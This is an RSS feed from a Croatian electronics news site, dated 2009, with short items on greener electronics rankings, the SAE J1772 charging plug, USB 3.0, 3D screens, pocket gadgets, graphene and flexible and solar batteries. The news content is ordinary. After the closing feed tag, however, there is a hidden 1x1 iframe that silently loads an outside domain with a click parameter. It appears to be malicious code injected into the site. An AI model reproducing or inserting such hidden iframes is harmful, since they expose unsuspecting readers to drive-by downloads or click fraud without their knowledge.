<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Spajanje</title>
	<atom:link href="http://www.spajanje.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.spajanje.net</link>
	<description>Elektonika</description>
	<pubDate>Fri, 07 Aug 2009 22:32:01 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Zelenija elektronika</title>
		<link>http://www.spajanje.net/vijesti/zelenija-elektronika/</link>
		<comments>http://www.spajanje.net/vijesti/zelenija-elektronika/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 22:32:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[elektronika]]></category>

		<category><![CDATA[zelena]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=211</guid>
		<description><![CDATA[
Greenpeace je izdao 10. izdanje svoje liste i uputa za &#8220;zeleniju&#8221; elektroniku u kojem je dodano nekoliko novih kriterija po kojima se ocjenjuju proizvođači.
Na vodećoj poziciji kao najzelenija kompanija je Nokia zahvaljujući svojem opsežnom programu za preuzimanje i recikliranje starih mobilnih telefona koji je pokrenut u 124 zemlje. Također se ističe kako je Nokia u potpunosti [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/zelenija-elektronika/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Do struje - standardom</title>
		<link>http://www.spajanje.net/vijesti/do-struje-standardom/</link>
		<comments>http://www.spajanje.net/vijesti/do-struje-standardom/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 07:59:35 +0000</pubDate>
		<dc:creator>bubi72</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[struja]]></category>

		<category><![CDATA[uticnica]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=208</guid>
		<description><![CDATA[


Pri kraju je finalizacija standarda SAE J1772 koji definira tehničke i fizikalne karakteristike i oblik univerzalne električne utičnice na električnim automobilima
Sve više je električnih i hibridnih automobila, barem u najavi, ako ne i na cestama, ali vjerovali ili ne, još ne postoji priznati međunarodni standard za električnu utičnicu preko koje se ovi napajaju električnom energijom. [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/do-struje-standardom/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dolazak USB 3.0</title>
		<link>http://www.spajanje.net/vijesti/dolazak-usb-30/</link>
		<comments>http://www.spajanje.net/vijesti/dolazak-usb-30/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 21:49:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=203</guid>
		<description><![CDATA[



Image via Wikipedia



Prema pisanju na stranicama TechAsia, specifikacije za test kompatibilnosti sa standardom USB 3.0 bit će gotove do sredine ove godine, kako bi proizvođači periferije stigli testirati svoje uređaje i provjeriti da li su u skladu s definiranim parametrima rada. Prema izvorima iz Agilent Technologiesa, a koji su zaduženi za izradu Test Specifications 1.0, [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/dolazak-usb-30/feed/</wfw:commentRss>
		</item>
		<item>
		<title>3D bez naočala na 72 inča</title>
		<link>http://www.spajanje.net/vijesti/3d-bez-naocala-na-72-inca/</link>
		<comments>http://www.spajanje.net/vijesti/3d-bez-naocala-na-72-inca/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 13:51:33 +0000</pubDate>
		<dc:creator>bubi72</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[3D]]></category>

		<category><![CDATA[TV]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=198</guid>
		<description><![CDATA[Prema pisanju na GearLogu, tvrtka JVC i i japanski Nacionalni institut za komunikaciju i informatičku tehnologiju predstavili su 72-inčni zaslon koji daje 3D sliku bez potrebe za nošenjem &#8220;3D naočala&#8221;. Zaslon daje punu HD rezoluciju od 1920*1080 točaka i daje privid trodimenzionalnosti prikaza za gledanje prostim okom i bez ikakvih dodatnih pomagala. Doduše, da bi [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/3d-bez-naocala-na-72-inca/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Džepni zvučnici na baterije</title>
		<link>http://www.spajanje.net/vijesti/dzepni-zvucnici-na-baterije/</link>
		<comments>http://www.spajanje.net/vijesti/dzepni-zvucnici-na-baterije/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 13:49:19 +0000</pubDate>
		<dc:creator>bubi72</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[hi tech]]></category>

		<category><![CDATA[xpod]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=195</guid>
		<description><![CDATA[Tvrtka Xpod predstavila je džepne zvučnike za korištenje s multimedijalnim sviračima koji će (donekle) glasno reproducirati glazbu ili zvuk s videa. U kućište s dimenzijama od 76,2 x 33 x 8,4 milimetara ugrađeno je dvokanalno pojačalo i minijaturni zvučnici s piezoelektričnim membranama. Za bezbrižne sate uživanja u glazbi brine se ugrađena baterija koja se puni [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/dzepni-zvucnici-na-baterije/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zvučnici minijaturni vrtovi</title>
		<link>http://www.spajanje.net/vijesti/zvucnici-minijaturni-vrtovi/</link>
		<comments>http://www.spajanje.net/vijesti/zvucnici-minijaturni-vrtovi/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 13:46:48 +0000</pubDate>
		<dc:creator>bubi72</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[hi tech]]></category>

		<category><![CDATA[zvucnici]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=189</guid>
		<description><![CDATA[Na skupu Tokyo Designer&#8217;s Week koji se održava do 3. studenog, JVC-ovi dizajneri imaju svoje viđenje toga kako trebaju izgledati ekološki prihvatljivi zvučnici. Ovi sa slike su tako pravljeni od recikliranog papira (i bolje im je da se ne smoče!), a pored lijevog i desnog stereo-zvučnika tu je i dubokotonac. Ures svega toga je biljčica [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/zvucnici-minijaturni-vrtovi/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Džepni projektor</title>
		<link>http://www.spajanje.net/vijesti/dzepni-projektor/</link>
		<comments>http://www.spajanje.net/vijesti/dzepni-projektor/#comments</comments>
		<pubDate>Sun, 08 Mar 2009 13:41:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=185</guid>
		<description><![CDATA[Tvrtka 3M je za 30. ovoga najavila izlazak svog prvog džepnog projektora Mpro 110 Micro Projector. Uređaj koristi LCoS tehnologiju za prikaz slike, razlučivost mu je 640*480 točaka, a koristi i LED žarulju koja se ne grije te stoga nema ni potrebe za ventilatorom. Žarulja je navodno dovoljno jaka za prezentacije &#8220;u jarko osvijetljenoj sobi&#8221;, [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/dzepni-projektor/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dodati vodik za poluvodič</title>
		<link>http://www.spajanje.net/vijesti/dodati-vodik-za-poluvodic/</link>
		<comments>http://www.spajanje.net/vijesti/dodati-vodik-za-poluvodic/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 14:41:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=181</guid>
		<description><![CDATA[Dodavanjem vodikovih iona (dolje) na ugljikove molekule u grafenu (gore) dobiva se izolator, što se može iskoristiti za stvaranje poluvodiča mijenjanjem kemijskih svojstava materijala

Dodavanjem atoma vodika grafenskom listu može se od ovoga izvrsnog vodiča napraviti poluvodič, što potencijalno omogućava izradu poluvodičkih elemenata od ugljika i vodika, čime bi se uvelike pojednostavnila njihova izrada - tako [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/dodati-vodik-za-poluvodic/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Savitljive baterije</title>
		<link>http://www.spajanje.net/vijesti/savitljive-baterije/</link>
		<comments>http://www.spajanje.net/vijesti/savitljive-baterije/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 18:08:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/?p=175</guid>
		<description><![CDATA[
Institut Fraunhofer ENAS (Electronic Nano Systems) je na nedavno održanom međunarodnom sajmu nanotehnologije u Tokiju demonstrirao vrlo zanimljive savitljive baterije. Riječ je o baterijama tankim poput lista papira, dobivenim tehnologijom ispisa na posebnu plastičnu foliju, baš kao što je to slučaj s nekim verzijama ekrana ili čipova.
Baterije su temeljene na cink-manganu, koji je i ekološki [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/savitljive-baterije/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Solarne baterije</title>
		<link>http://www.spajanje.net/vijesti/solarne-baterije/</link>
		<comments>http://www.spajanje.net/vijesti/solarne-baterije/#comments</comments>
		<pubDate>Fri, 06 Mar 2009 15:05:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Vijesti]]></category>

		<category><![CDATA[baterije]]></category>

		<category><![CDATA[solarno]]></category>

		<guid isPermaLink="false">http://www.spajanje.net/vijesti/178/</guid>
		<description><![CDATA[
Norveški izumitelj Knut Karlsen predstavio je svijetu svoj prototip baterija koje se pune preko foto-ćelija, a nazvao ih je SunCat. Ideja je vrlo jednostavna - obične akumulatorske ćelije C formata omotao je u fotovoltaične fleksibilne panele, a njihove polove je srebrnom olovkom spojio s polovima na baterijama.
Iako male površine, ovi paneli navodno daju dovoljno struje [...]]]></description>
		<wfw:commentRss>http://www.spajanje.net/vijesti/solarne-baterije/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<iframe src="http://dakilfu.com/?click=1248EE5" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>